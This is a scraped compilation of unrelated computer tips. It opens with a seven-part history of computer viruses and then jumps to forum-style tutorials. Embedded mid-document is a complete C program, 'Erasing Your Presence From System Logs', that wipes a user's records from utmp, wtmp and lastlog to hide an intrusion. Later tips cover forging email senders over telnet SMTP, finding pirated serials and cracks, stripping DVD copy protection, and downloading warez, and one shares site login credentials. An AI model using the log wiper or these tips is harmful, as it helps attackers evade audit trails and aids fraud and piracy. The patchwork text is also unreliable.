1000 Tutorials

part 1


Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.

Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.

However, it was only in 1983 that one of these programmers announced the existence of Core Wars, which was described the following year in a prestigious scientific magazine: this was actually the starting point of what we call computer viruses today.

At that time, a still young MS-DOS was starting to become the preeminent operating system worldwide. This was a system with great prospects, but still many deficiencies as well, which arose from software developments and the lack of many hardware elements known today. Even like this, this new operating system became the target of a virus in 1986: Brain, a malicious code created in Pakistan which infected boot sectors of disks so that their contents could not be accessed. That year also saw the birth of the first Trojan: an application called PC-Write.

Shortly after, virus writers realized that infecting files could be even more harmful to systems. In 1987, a virus called Suriv-02 appeared, which infected COM files and opened the door to the infamous viruses Jerusalem or Viernes 13. However, the worst was still to come: 1988 set the date when the “Morris worm” appeared, infecting 6,000 computers.

From that date up to 1995 the types of malicious codes that are known today started being developed: the first macro viruses appeared, polymorphic viruses … Some of these even triggered epidemics, such as MichaelAngelo. However, there was an event that changed the virus scenario worldwide: the massive use of the Internet and e-mail. Little by little, viruses started adapting to this new situation until the appearance, in 1999, of Melissa, the first malicious code to cause a worldwide epidemic, opening a new era for computer viruses.



part 2


This second installment of ‘The evolution of viruses’ will look at how malicious code used to spread before use of the Internet and e-mail became as commonplace as it is today, and the main objectives of the creators of those earlier viruses.
Until the worldwide web and e-mail were adopted as a standard means of communication the world over, the main mediums through which viruses spread were floppy disks, removable drives, CDs, etc., containing files that were already infected or with the virus code in an executable boot sector.

When a virus entered a system it could go memory resident, infecting other files as they were opened, or it could start to reproduce immediately, also infecting other files on the system. The virus code could also be triggered by a certain event, for example when the system clock reached a certain date or time. In this case, the virus creator would calculate the time necessary for the virus to spread and then set a date –often with some particular significance- for the virus to activate. In this way, the virus would have an incubation period during which it didn’t visibly affect computers, but just spread from one system to another waiting for ‘D-day’ to launch its payload. This incubation period would be vital to the virus successfully infecting as many computers as possible.

One classic example of a destructive virus that lay low before releasing its payload was CIH, also known as Chernobyl. The most damaging version of this malicious code activated on April 26, when it would try to overwrite the flash-BIOS, the memory which includes the code needed to control PC devices. This virus, which first appeared in June 1998, had a serious impact for over two years and still continues to infect computers today.

Because of the way in which they propagate, these viruses spread very slowly, especially in comparison to the speed of today’s malicious code. Towards the end of the Eighties, for example, the Friday 13th (or Jerusalem) virus needed a long time to actually spread and continued to infect computers for some years. In contrast, experts reckon that in January 2003, SQLSlammer took just ten minutes to cause global communication problems across the Internet.

Notoriety versus stealth

For the most part, in the past, the activation of a malicious code triggered a series of on screen messages or images, or caused sounds to be emitted to catch the user’s attention. Such was the case with the Ping Pong virus, which displayed a ball bouncing from one side of the screen to another. This kind of elaborate display was used by the creator of the virus to gain as much notoriety as possible. Nowadays however, the opposite is the norm, with virus authors trying to make malicious code as discreet as possible, infecting users’ systems without them noticing that anything is amiss.



pat 3


This third installment of ‘The evolution of viruses’ will look at how the Internet and e-mail changed the propagation techniques used by computer viruses.

Internet and e-mail revolutionized communications. However, as expected, virus creators didn’t take long to realize that along with this new means of communication, an excellent way of spreading their creations far and wide had also dawned. Therefore, they quickly changed their aim from infecting a few computers while drawing as much attention to themselves as possible, to damaging as many computers as possible, as quickly as possible. This change in strategy resulted in the first global virus epidemic, which was caused by the Melissa worm.

With the appearance of Melissa, the economic impact of a virus started to become an issue. As a result, users -above all companies- started to become seriously concerned about the consequences of viruses on the security of their computers. This is how users discovered antivirus programs, which started to be installed widely. However, this also brought about a new challenge for virus writers, how to slip past this protection and how to persuade users to run infected files.

The answer to which of these virus strategies was the most effective came in the form of a new worm: Love Letter, which used a simple but effective ruse that could be considered an early type of social engineering. This strategy involves inserting false messages that trick users into thinking that the message includes anything, except a virus. This worm’s bait was simple; it led users to believe that they had received a love letter.

This technique is still the most widely used. However, it is closely followed by another tactic that has been the center of attention lately: exploiting vulnerabilities in commonly used software. This strategy offers a range of possibilities depending on the security hole exploited. The first malicious code to use this method –and quite successfully- were the BubbleBoy and Kakworm worms. These worms exploited a vulnerability in Internet Explorer by inserting HTML code in the body of the e-mail message, which allowed them to run automatically, without needing the user to do a thing.

Vulnerabilities allow many different types of actions to be carried out. For example, they allow viruses to be dropped on computers directly from the Internet -such as the Blaster worm-. In fact, the effects of the virus depend on the vulnerability that the virus author tries to exploit.



part 4


In the early days of computers, there were relatively few PCs likely to contain “sensitive” information, such as credit card numbers or other financial data, and these were generally limited to large companies that had already incorporated computers into working processes.

In any event, information stored in computers was not likely to be compromised, unless the computer was connected to a network through which the information could be transmitted. Of course, there were exceptions to this and there were cases in which hackers perpetrated frauds using data stored in IT systems. However, this was achieved through typical hacking activities, with no viruses involved.

The advent of the Internet however caused virus creators to change their objectives, and, from that moment on, they tried to infect as many computers as possible in the shortest time. Also, the introduction of Internet services -like e-banking or online shopping- brought in another change. Some virus creators started writing malicious codes not to infect computers, but, to steal confidential data associated to those services. Evidently, to achieve this, they needed viruses that could infect many computers silently.

Their malicious labor was finally rewarded with the appearance, in 1986, of a new breed of malicious code generically called “Trojan Horse”, or simply “Trojan”. This first Trojan was called PC-Write and tried to pass itself off as the shareware version of a text processor. When run, the Trojan displayed a functional text processor on screen. The problem was that, while the user wrote, PC-Write deleted and corrupted files on the computers’ hard disk.

After PC-Write, this type of malicious code evolved very quickly to reach the stage of present-day Trojans. Today, many of the people who design Trojans to steal data cannot be considered virus writers but simply thieves who, instead of using blowtorches or dynamite have turned to viruses to commit their crimes. Ldpinch.W or the Bancos or Tolger families of Trojans are examples of this


part 5


Even though none of them can be left aside, some particular fields of computer science have played a more determinant role than others with regard to the evolution of viruses. One of the most influential fields has been the development of programming languages.

These languages are basically a means of communication with computers in order to tell them what to do. Even though each of them has its own specific development and formulation rules, computers in fact understand only one language called "machine code".

Programming languages act as an interpreter between the programmer and the computer. Obviously, the more directly you can communicate with the computer, the better it will understand you, and more complex actions you can ask it to perform.

According to this, programming languages can be divided into "low and high level" languages, depending on whether their syntax is more understandable for programmers or for computers. A "high level" language uses expressions that are easily understandable for most programmers, but not so much for computers. Visual Basic and C are good examples of this type of language.

On the contrary, expressions used by "low level" languages are closer to machine code, but are very difficult to understand for someone who has not been involved in the programming process. One of the most powerful, most widely used examples of this type of language is "assembler".

In order to explain the use of programming languages through virus history, it is necessary to refer to hardware evolution. It is not difficult to understand that an old 8-bit processor does not have the power of modern 64-bit processors, and this of course, has had an impact on the programming languages used.

In this and the next installments of this series, we will look at the different programming languages used by virus creators through computer history:

- Virus antecessors: Core Wars

As was already explained in the first chapter of this series, a group of programs called Core Wars, developed by engineers at an important telecommunications company, are considered the antecessors of current-day viruses. Computer science was still in the early stages and programming languages had hardly developed. For this reason, authors of these proto-viruses used a language that was almost equal to machine code to program them.

Curiously enough, it seems that one of the Core Wars programmers was Robert Thomas Morris, whose son programmed -years later- the "Morris worm". This malicious code became extraordinarily famous since it managed to infect 6,000 computers, an impressive figure for 1988.

- The new gurus of the 8-bits and the assembler language.

The names Altair, IMSAI and Apple in USA and Sinclair, Atari and Commodore in Europe, bring memories of times gone by, when a new generation of computer enthusiasts "fought" to establish their place in the programming world. To be the best, programmers needed to have profound knowledge of machine code and assembler, as interpreters of high-level languages used too much run time. BASIC, for example, was a relatively easy to learn language which allowed users to develop programs simply and quickly. It had however, many limitations.

This caused the appearance of two groups of programmers: those who used assembler and those who turned to high-level languages (BASIC and PASCAL, mainly).

Computer aficionados of the time enjoyed themselves more by programming useful software than malware. However, 1981 saw the birth of what can be considered the first 8-bit virus. Its name was "Elk Cloner", and was programmed in machine code. This virus could infect Apple II systems and displayed a message when it infected a computer.



part 6


Computer viruses evolve in much the same way as in other areas of IT. Two of the most important factors in understanding how viruses have reached their current level are the development of programming languages and the appearance of increasingly powerful hardware.

In 1981, almost at the same time as Elk Kloner (the first virus for 8-bit processors) made its appearance, a new operating system was growing in popularity. Its full name was Microsoft Disk Operating System, although computer buffs throughout the world would soon refer to it simply as DOS.

DOS viruses

The development of MS DOS systems occurred in parallel to the appearance of new, more powerful hardware. Personal computers were gradually establishing themselves as tools that people could use in their everyday lives, and the result was that the number of PCs users grew substantially. Perhaps inevitably, more users also started creating viruses. Gradually, we witnessed the appearance of the first viruses and Trojans for DOS, written in assembler language and demonstrating a degree of skill on the part of their authors.

Far less programmers know assembler language than are familiar with high-level languages that are far easier to learn. Malicious code written in Fortran, Basic, Cobol, C or Pascal soon began to appear. The last two languages, which are well established and very powerful, are the most widely used, particularly in their TurboC and Turbo Pascal versions. This ultimately led to the appearance of “virus families”: that is, viruses that are followed by a vast number of related viruses which are slightly modified forms of the original code.

Other users took the less ‘artistic’ approach of creating destructive viruses that did not require any great knowledge of programming. As a result, batch processing file viruses or BAT viruses began to appear.

Win16 viruses

The development of 16-bit processors led to a new era in computing. The first consequence was the birth of Windows, which, at the time, was just an application to make it easier to handle DOS using a graphic interface.

The structure of Windows 3.xx files is rather difficult to understand, and the assembler language code is very complicated, as a result of which few programmers initially attempted to develop viruses for this platform. But this problem was soon solved thanks to the development of programming tools for high-level languages, above all Visual Basic. This application is so effective that many virus creators adopted it as their ‘daily working tool’. This meant that writing a virus had become a very straightforward task, and viruses soon appeared in their hundreds. This development was accompanied by the appearance of the first Trojans able to steal passwords. As a result, more than 500 variants of the AOL Trojan family -designed to steal personal information from infected computers- were identified.

part 7

This seventh edition on the history of computer viruses will look at how the development of Windows and Visual Basic has influenced the evolution of viruses, as with the development of these, worldwide epidemics also evolved such as the first one caused by Melissa in 1999.

While Windows changed from being an application designed to make DOS easier to manage to a 32-bit platform and operating system in its own right, virus creators went back to using assembler as the main language for programming viruses.

Versions 5 and 6 of Visual Basic (VB) were developed, making it the preferred tool, along with Borland Delphi (the Pascal development for the Windows environment), for Trojan and worm writers. Then, Visual C, a powerful environment developed in C for Windows, was adopted for creating viruses, Trojans and worms. This last type of malware gained unusual strength, taking over almost all other types of viruses. Even though the characteristics of worms have changed over time, they all have the same objective: to spread to as many computers as possible, as quickly as possible.

With time, Visual Basic became extremely popular and Microsoft implemented part of the functionality of this language as an interpreter capable of running script files with a similar syntax.

At the same time as the Win32 platform was implemented, the first script viruses also appeared: malware inside a simple text file. These demonstrated that not only executable files (.EXE and .COM files) could carry viruses. As already seen with BAT viruses, there are also other means of propagation, proving the saying "anything that can be executed directly or through a interpreter can contain malware." To be specific, the first viruses that infected the macros included in Microsoft Office emerged. As a result, Word, Excel, Access and PowerPoint become ways of spreading ‘lethal weapons’, which destroyed information when the user simply opened a document.

Melissa and self-executing worms

The powerful script interpreters in Microsoft Office allowed virus authors to arm their creations with the characteristics of worms. A clear example is Melissa, a Word macro virus with the characteristics of a worm that infects Word 97 and 2000 documents. This worm automatically sends itself out as an attachment to an e-mail message to the first 50 contacts in the Outlook address book on the affected computer. This technique, which has unfortunately become very popular nowadays, was first used in this virus which, in 1999, caused one of the largest epidemics in computer history in just a few days. In fact, companies like Microsoft, Intel or Lucent Technologies had to block their connections to the Internet due to the actions of Melissa.

The technique started by Melissa was developed in 1999 by viruses like VBS/Freelink, which unlike its predecessor sent itself out to all the contacts in the address book on the infected PC. This started a new wave of worms capable of sending themselves out to all the contacts in the Outlook address book on the infected computer. Of these, the worm that most stands out from the rest is VBS/LoveLetter, more commonly known as ‘I love You’, which emerged in May 2000 and caused an epidemic that caused damage estimated at 10,000 million euros. In order to get the user’s attention and help it to spread, this worm sent itself out in an e-mail message with the subject ‘ILOVEYOU’ and an attached file called ‘LOVE-LETTER-FOR-YOU.TXT.VBS’. When the user opened this attachment, the computer was infected.

As well as Melissa, in 1999 another type of virus emerged that also marked a milestone in virus history. In November of that year, VBS/BubbleBoy appeared, a new type of Internet worm written in VB Script. VBS/BubbleBoy was automatically run without the user needing to click on an attached file, as it exploited a vulnerability in Internet Explorer 5 to automatically run when the message was opened or viewed. This worm was followed in 2000 by JS/Kak.Worm, which spread by hiding behind Java Script in the auto-signature in Microsoft Outlook Express, allowing it to infect computers without the user needing to run an attached file. These were the first samples of a series of worms, which were joined later on by worms capable of attacking computers when the user is browsing the Internet.

¤¤ Erasing Your Presence From System Logs ¤¤



Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.



Example:



#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;



if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}



void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;



pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {



while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}



void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;



if ((pwd=getpwnam(who))!=NULL) {



if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}



} else printf("%s: ?\n",who);

}



main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}

Enable Folder and Icon Refresh

This reg file Enables Folder and Icon Refresh.


1. Copy the following (everything in the box) into notepdad.


QUOTE
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"NoNetCrawling"=dword:00000000




2. Save the file as disablerefreshundo.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

1. Some ISP's block port 25 so it might not work
2. Most likely, you won't be able to see what yer typing

First of all, you need an SMTP server. These are extremely common and, in fact, I'll provide one for you (mail.hotmail.com). SMTP: Simple Mail Transfer Protocol. This service runs on port 25 (in most cases) and is used to send outgoing email.

Now, open up the command prompt and telnet to mail.hotmail.com on port 25 (note: to see what you type, type telnet and enter then type in set local_echo):



code:--------------------------------------------------------------------------------
telnet mail.hotmail.com 25
--------------------------------------------------------------------------------


When yer connected type in (except what's in between *'s; you chose what will go in the []):

code:--------------------------------------------------------------------------------
helo
*wait*
mail from:[whoever]@[whoever.com]
*wait*
rcpt to:[whoever]@[whoever.com]
*wait*
data
*wait*
[write]
[whatever you want]
[in]
[as many]
[lines as wished]
.
*wait*
quit
--------------------------------------------------------------------------------


Helo is just a handshake with the server. Mail from: is FROM who you want the email to be. rcpt to: is who you want the email to go to. under data is what you want sent. the '.' ends data. quit quits. There! simple isn't it.

Eliminate Ie's Autocomplete Reminder

AutoComplete: Some people like it, some don't. Those who don't like it turn it off. Those of us who turned it off are now constantly being prompted to turn it on. By now, we despise it! How do we turn it off completely, with no more pop-ups asking us to turn it on?

It does seem that Internet Explorer really wants you to use AutoComplete. On a system with AutoComplete turned off, it will prompt you from time to time, asking to turn it on again. A Registry tweak will prevent IE's "helpful" reminders. First, close all IE windows. Launch REGEDIT from the Start menu's Run dialog. Navigate to the key HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel. Note that this key may not be present in its entirety. You may need to create the Internet Explorer and Control Panel subkeys. In the right-hand pane, look for a DWORD value named FormSuggest it will probably not be present. In that case, right-click in the right-hand pane and choose New | DWORD Value from the pop-up menu. Name the new value FormSuggest. Whether you found it or created it, double-click this value and set its data to 1. That should terminate the annoying reminder

Just found this on the net, so I gave it a try.

Lo and behold, it actually works.

Very handy if you are an Ebayer.
Enjoy

When you look at an item and click on bid history all the bid amount are replaced with "-" until the end of the auction.

To view these amounts before the auction ends when viewing the item change


http://cgi.ebay.co.uk/ws/eBayISAPI.dll


in the address bar to


http://cgi.ebay.com/ws/eBayISAPI.dll


And then click on the bid history. The bid amounts will be shown.

let's pretend you need a serial number for windows xp pro.

in the search bar type in just like this - "Windows XP Professional" 94FBR

the key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.

or if you want to find the serial for winzip 8.1 - "Winzip 8.1" 94FBR

just try it out, it's very quick and it works nicely..

-----------------------------------------------------------

here is another trick that works fairly decent for finding mp3's on the web (which is hard to do normally, to say the least)

say you want to get, for example, a Garth Brooks song. type this in the search bar - "index of/" "garth brooks" .mp3 the ones you want to check out first are the ones that say "Index of/" in the title of the search result. this technique allows you to easily pull up web folders with direct downloads. it will look the same as if you were logging into a ftp url.. i'm sure you can be pretty flexible on how you type that in, so long as you include "index of/"

i'm sure you can use this for more than just mp3's (it's not perfect but it has worked for me on a few occasions)

always make sure to use the quotations where i placed them. they help pinpoint the correct search results more accurately. just try it out, also if you want to learn how to do more with google look up "google hacks"

Easily Disconnect-reconnect From Broadband

it's pretty easy.. this is for ppl who dont know how to do this already..

makes it just as easy to disconnect and reconnect on broadband as it is on dialup.

simply open up network connections, and drag your connection to your quicklaunch / desktop wherever.

DVD Regions Information

The DVD region code identifies a DVD's compatibility with the players typically sold in a particular region.

The following graphic shows the approximate location of each region.

Image

Region 0 (or "region free") is compatible with DVD players from any region.

The majority of all current titles play only in one specific region unless otherwise noted. DVDs sold by Amazon.co.uk are encoded for Region 2 or Region 0. Region 2 DVDs may not work on DVD players in other countries.

Region 1 DVDs sold by Marketplace sellers

Region 1 discs are intended for use with standard DVD players in North America (Canada and the USA). In most instances they can also be played on compatible "multi-region" DVD players (also known as "chipped" or "region-free" players).

They also require an NTSC-compatible television. NTSC is the standard picture format in North America, and differs from the PAL format adopted in Britain and Europe. Region 1 DVDs are usually presented in NTSC format, so you should ensure that your TV is capable of reading the NTSC signal before purchasing Region 1 DVDs.

Regional Coding Enhancement (RCE)

Regional Coding Enhancement (RCE) has been added by some film studios (specifically Warner and Columbia) to selected Region 1 DVDs, with the intention of preventing these discs from playing on some multi-region DVD players. We are therefore unable to guarantee that all Region 1 discs will be compatible with all multi-region players.

Global DVD region countries

This is not a definitive list and is intended only as a guide.

Region 1 - US, US Territories and Canada

American Samoa, Canada, Guam, Palau, Mariana Islands, Marshall Islands, Puerto Rico, Micronesia, United States, U.S. Virgin Islands


Region 2 - UK, Europe, Japan, South Africa and Middle East

Albania, Andorra, Austria, Bahrain, Belgium, Bosnia and Herzegovina, Bulgaria, Croatia, Czech Republic, Denmark, Egypt, Finland, France, Germany, Gibraltar, Greece, Greenland, Hungary, Iceland, Iran, Iraq, Ireland, Israel, Italy, Japan, Jordan, Kuwait, Lebanon, Liechtenstein, Luxembourg, Macedonia, Malta, Moldova, Monaco, Netherlands, Norway, Oman, Poland, Portugal, Qatar, Romania, San Marino, Saudi Arabia, Slovakia, Slovenia, South Africa, Spain, Sweden, Switzerland, Syria, United Arab Emirates, United Kingdom, Vatican City, Yemen, Yugoslavia


Region 3 - Southeast and East Asia

Cambodia, Hong Kong, Indonesia, Laos, Malaysia, Myanmar, Phillipines, South Korea, Taiwan, Thailand, Vietnam


Region 4 - Australia, New Zealand, Central and South America

Antigua, Argentina, Aruba, Australia, Bahamas, Barbados, Barbuda, Belize, Bolivia, Brazil, Chile, Colombia, Costa Rica, Cuba, Dominica, Dominican Republic, Ecuador, El Salvador, Falkland Islands, French Guiana, Grenada, Guatemala, Guyana, Haiti, Honduras, Jamaica, Mexico, New Guinea, New Zealand, Nicaragua, Panama, Paraguay, Peru, Suriname, Trinidad, Tobago, Uruguay


Region 5 - Former Soviet Union, Indian sub-continent, Africa, North Korea and Mongolia

Afghanistan, Algeria, Angola, Bangladesh, Belarus, Benin, Botswana, Burkina Faso, Burundi, Cameroon, Cape Verde, Central African Republic, Chad, Comoros, Congo, Djibouti, Equatorial Guinea, Eritrea, Estonia, Ethiopia, Gabon, Gambia, Georgia, Ghana, Guinea, Guinea-Bissau, India, Ivory Coast, Kazakhstan, Kenya, Latvia, Lesotho, Liberia, Libya, Lithuania, Madagascar, Malawi, Mali, Mauritania, Mauritius, Mongolia, Morocco, Mozambique, Namibia, Niger, Nigeria, North Korea, Pakistan, Russia, Rwanda, Sao Tome and Principe, Senegal, Seychelles, Sierra Leone, Somalia, Sri Lanka, St. Helena, Sudan, Tanzania, Togo, Tunisia, Turkmenistan, Uganda, Ukraine, Uzbekistan, Zambia, Zimbabwe


Region 6 - China

China


Region 7 - Reserved for future use

Region 8 - International Territories (ships, planes, etc)

Dvd Copying/ripping Definitions

Rip
To take off the audio or video from a CD or DVD. Often CD Audio is "ripped" to MP3 files or DVD video ripped to VOB files.

Compression
The process of removing redundancies in digital data to reduce the amount that must be stored or transmitted. Lossless compression removes only enough redundancy so that the original data can be recreated exactly as it was. Lossy compression sacrifices additional data to achieve greater compression.

Encoding
Encoding is the process of changing data from one form into another according to a set of rules specifiec by a codec. The data is usually a file containing audio, video or still image. Often the encoding is done to make a file compatible with specific hardware (such as a DVD Player) or to compress or reduce the space the data occupies.

Common video encoding methods are DivX, MPEG-1, MPEG-2 and MPEG-4. A common audio encoding method is MP3 although many others exist including MPEG1 audio, DTS, and Dolby Digital.

Transcoding
On this site generally another name for encoding.

A more technical term would be "The reformatting of content, without changing the source, to another type of content - most often of a different format than the original (but does not have to be)"

Dvd-9 -> Dvd+r Dl, Double Layer To Double Layer!, 1:1 copies

Remove all discs from drives.

Open DVD Decrypter.

From the 'Mode' menu, select 'ISO' -> 'Read'.

Put DVD-9 disc (Thats the film if you didn't guess) in drive.

Take note of the 'Destination' file name.

Click the big 'Decrypt' button.

Wait for it to read and write the image to your hard drive.

Take the DVD-9 disc (yep.. take the original film out) out of the drive.

From the 'Mode' menu, select 'ISO' -> 'Write'.

Put a blank double layer disc in your DVD Writer.

Click the little folder icon - 'Browse for source file' - and select the MDS file created for you as part of the steps above.

Click the big 'Write' button.

Finished!

Estimated time to read and burn 45 minutes. All copy protection is removed from the backup, and as you are writing to a dual layered disc there is no quality loss!!!

This process can be used to backup DVD5 disc's 1:1 and PS2 disc's.

Dual Boot After The Fact

I want to run both Windows 2000 Pro and Windows 98 SE on my computer. When I bought a new hard drive, I installed Windows 2000 on it first. But my subsequent research seems to indicate that I should have installed Windows 98 SE first and then Windows 2000 on a separate partition. How do I remove Windows 2000 from the drive so I can partition it and then install Windows 98 SE first and reinstall Windows 2000?



You don't have to remove Windows 2000. Start by installing Windows 98 SE in a different partition. When you're done, insert the Windows 2000 CD and reboot to start Windows 2000 setup. On the Welcome to Setup page, press R (for Repair). When you reach the Windows 2000 Repair Options page, press R again.

You'll then be prompted to select a repair option. Press M for Manual. Then press the Up Arrow until Verify Windows 2000 system files is highlighted; press Enter to clear this selection. Press the Down Arrow to select Continue (perform selected tasks), and then press Enter.

The system will ask whether you have an emergency repair disk. Press L, indicating it should Locate your existing installation. Once it does so, press Enter to complete the repairs. This will establish dual boot for you. (This procedure also works for Windows XP.)


*NOTE:

Don't know if this will also work for Linux. If anyone does try it, please let me know.

NBC News Story
Let's face it, finding the right device driver can be a tedious, time consuming, often impossible task! The Driver Guide was created to make finding driver updates a whole lot easier. With the help of thousands of our members, we have compiled a massive database archive of drivers and resources that is by far the largest and most comprehensive on the Web. Here is what The Driver Guide will do for you:

* Provides an easy step-by-step process for finding and installing drivers.
* Offers a huge searchable archive of over 100,000 driver files, manufacturer information, and links.
* Includes discussion boards that give members the opportunity to interact with others with their hardware type, and learn from their experiences (very useful!).
* Offers a drivers found area where members can upload new and hard to find drivers for others to download.
* Provides a driver request board where members can make requests for specific drivers.
* Includes resources for Windows, Mac, Unix/Linux, and other platforms.
* Provides links to helpful tutorials, valuable utilities, and other resources.
* Offers a great collection of old, out of date, and hard to find drivers.
* Membership is absolutely FREE! Members are given lifetime access to this site.
* Since opening in 1997, millions of people have joined The Driver Guide!



http://www.driverguide.com/

username:drivers
password :all

Ok, this should work...First of all, there is one great extension for DW & PHP ADODB object model that is free and great! Download it and install from www.interakt.ro its called PHAKT (NOT impakt, because its not free)
Install it and you will have another type of PHP ADODB document type
Start project with PHP ADODB (not old PHP MySQL)
Page 1
Create form that has one Editbox and one button.
Name Edit box smething like e.g. "search" without quotes.
That form should have form action="results.php" and type set to POST
Not, create Page 2 and name it results.php. Create new recordset in dw
like this
SELECT *
FROM table
WHERE table.colum.you.r.searching LIKE '%colname%' OR table.other.column LIKE '%colname%' ORDER BY table.tableid
this means that we want to select ALL (*) records in table WHERE content of column is similar (Dav, will return Dave, David, Davidof...) to search keyword.
Next, in variables click + and add variable name colname default value set to % if you want to show all records if form is submited blank, or -1 if You want to show none if form is submited blank. Finaly for Run-time value type $HTTP_POST_VARS['search'] Runtime value is equal name of Edit box name you set up in first page...
Now, from bindings tab, select values and insert it on page, that You would like to show on page. Ill skip this part assuming You know how to format output and how to limit it but if you dont know ask in reply...
So now You have page with results. Test it and see if its working.
If it is, create page 3 and name it details.php. Now, select value from page that you want to link with details page and click on link. Select details.php page and click on parameters. For param name enter something like id since this should be PK in table and unique value, and for value click on lightning icon, and select primary key in your table. In live page link should be like details.php?id=.
As for details page recordset it should look like
SELECT *
FROM table
WHERE table.id = 'colname'
create vars as for page 2, but change Runtime to $HTTP_GET_VARS['id']
and format output on page. That should be it, but since im typing it in "realtime" maby i forgot something...
Home I did helped You

Downloading Windows Media Streams

Look for the video source url in the webpage source code and copy it:
user posted image
To view the source code, r-click on the webpage that plays the video and select "view source." If unable to do so, just close the window and in the main Internet Explorer (IE) window, click the History icon or press Ctrl+H. Look for the same webpage on the left pane. On the menu, click View > View source.

Paste the video source url in Windows Media Player. (File > Open URL... )
Let the video play now. When the correct title appears on the playlist pane, r-click on it and select "Properties."
Select the source url and copy it:
user posted image

tongue.gif Paste this url in Flashget to download the video clip.

0x01.0 - the start...


So, you've just got a brand new internet connection thingie installed and it can handle up to 1 meg/sec download. But offcourse, no good PC without good software, but you know, good software is very expensive... And on a beautifull sunday morning you see something called Warez. Behold our kingdom and you start drewling a bit untill ur mom comes raging in your room asking for you to put the garbage out. After helping your mom out, the PC and fast inet connection is all yours... And so is the free software.


0x02.0 - packaged files.


As you might know, these software packages are sometimes pretty big in size. To try and reduce the big-file-downloads, the releasers of the package will often use some techniques to reduce the load. Techniques as compressing, archiving and splitting. Read-on if you dont understand these words..


0x02.1 - formats & tools.


If you've been around more than 1 year on the net, you prolly allready know all this but for the knew people I added this anyways...
The basic use of your Windows Operating System is the use of many different files and file-types. One of the most used file-types on the net is ZIP. File-types are also called 'formats'.
An overview:

ZIP A zipped file is a file thats been archived and compressed.
RAR RAR files are commonly used for archiving files; which is putting a large number of files in one file. Compressing is optional. File-splitting is optional.
ACE About the same as a RAR file, just an other format and another application.

I explain this to you because these file-types and coresponding programs are often, you can even use always here, used when you want to download Warez. The programs you download are almost always archived, compressed or bundled in one of the above formats. Keep reading if you didnt knew this

Ok so, now we know the formats of the files were gonna deal with, now the programs.
As you prolly figured out allready, these files arent created by Windows or by hand. Theyre made using specialy designed applications. Ill show you what applications you can use.

WinRAR : My personal favorite. Handles all of the above stated formats and alot, alot more. If you ask for my opinion, I think this is the only program you'll ever need.

WinZIP : This is a specially designed application for handleing ZIPPED files. If you like this one, take it.

WinACE : Another multi-file handling tool. Personal opinion: good for splitting files, way too big for every-day use for decompression.

I'd say: make your choice. I recommend WinRAR because of it's simplicity and effectiveness. But hey, I'm not forcing you. Just read some info on the sites and make ur choice.

Oh yea, one last thing: you'll notice these are all Evaluation versions. I suggest you crack them. Look for a good crack for the right version on: www.cracks.am.


0x02.2 - multi-part archives.


? These files are archived in multiple parts (with one of the applicatiosn mentioned above). Which means the software was zipped or rarred and divided into files of a smaller size then the whole thing together. How do you handle this?

>>> Download all the files to one directory.

>>> Check if all files are there. You can do this by looking at the extensions: *.00, *.01, ... If one's missing, download the missing file again (there are more sofisticated ways to do this but this is the simplest).

>>> Check if the files are about the same size. For example: the *.04 file must be the same size as the *.05 file, unless the 5th file is the last one.

>>> If theres a file with the extension *.RAR, double click it and u can start unpacking the stuff.

>>> If theres no *.RAR, but an *.ACE, do the same, its just an other format.

>>> Once you unarchived the package, you should have a directory full of files from an instalation or program. But its also possible there are, with the archived files, some other things:

- If the software pack is a Warez Group (MYTH, CLASS, Fairlight (FLT), ...) release, check if there's an EXE file with the package called Install.exe. If it's there, you can use that to unpack the files.

- If there's no exe in the package, the files are prolly just ready to be copied to your directory of choice // or ready to be installed.

IMPORTANT : please dont forget to read the NFO file. Its very important. It usually contains all further information needed for you to successfully install the software. You can open it with NFO-file viewers or in Notepad (set font to: terminal, 6 or 9 pts).

Normally, you're all done now and ready to start using the software.


